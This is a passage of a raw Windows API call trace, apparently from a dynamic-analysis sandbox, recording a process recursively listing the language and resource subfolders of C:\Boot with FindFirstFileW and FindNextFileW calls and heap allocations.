nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0275.806] GetProcessHeap () returned 0xaf0000 [0275.806] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.806] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb031c8 [0275.806] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.807] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.807] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.807] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.807] FindClose (in: hFindFile=0xb031c8 | out: hFindFile=0xb031c8) returned 1 [0275.807] GetProcessHeap () returned 0xaf0000 [0275.807] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.807] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0275.807] GetProcessHeap () returned 0xaf0000 [0275.807] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.807] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.807] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.807] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.807] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.807] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.808] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0275.808] GetProcessHeap () returned 0xaf0000 [0275.808] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.808] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0275.808] GetProcessHeap () returned 0xaf0000 [0275.808] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.808] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.808] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.808] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.808] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.808] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.808] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.809] GetProcessHeap () returned 0xaf0000 [0275.809] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.809] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0275.809] GetProcessHeap () returned 0xaf0000 [0275.809] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0275.809] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.809] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.809] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.809] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.809] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0275.809] GetProcessHeap () returned 0xaf0000 [0275.809] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.809] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0275.809] GetProcessHeap () returned 0xaf0000 [0275.809] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0275.810] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.810] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.810] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0275.810] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0275.810] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0275.810] GetProcessHeap () returned 0xaf0000 [0275.810] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.810] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0275.810] GetProcessHeap () returned 0xaf0000 [0275.810] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.810] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.811] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.811] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9abff9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef597530, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x169a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootres.dll", cAlternateFileName="")) returned 1 [0275.811] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0275.811] GetProcessHeap () returned 0xaf0000 [0275.811] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb52838 [0275.812] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b5, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0275.812] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b5, cFileName="..", cAlternateFileName="")) returned 1 [0275.812] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x7b5, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0275.812] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x7b5, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 0 [0275.812] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0275.812] GetProcessHeap () returned 0xaf0000 [0275.812] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb52838 | out: hHeap=0xaf0000) returned 1 [0275.812] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0275.812] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.812] GetProcessHeap () returned 0xaf0000 [0275.812] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.813] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0275.813] GetProcessHeap () returned 0xaf0000 [0275.813] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ro-RO\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 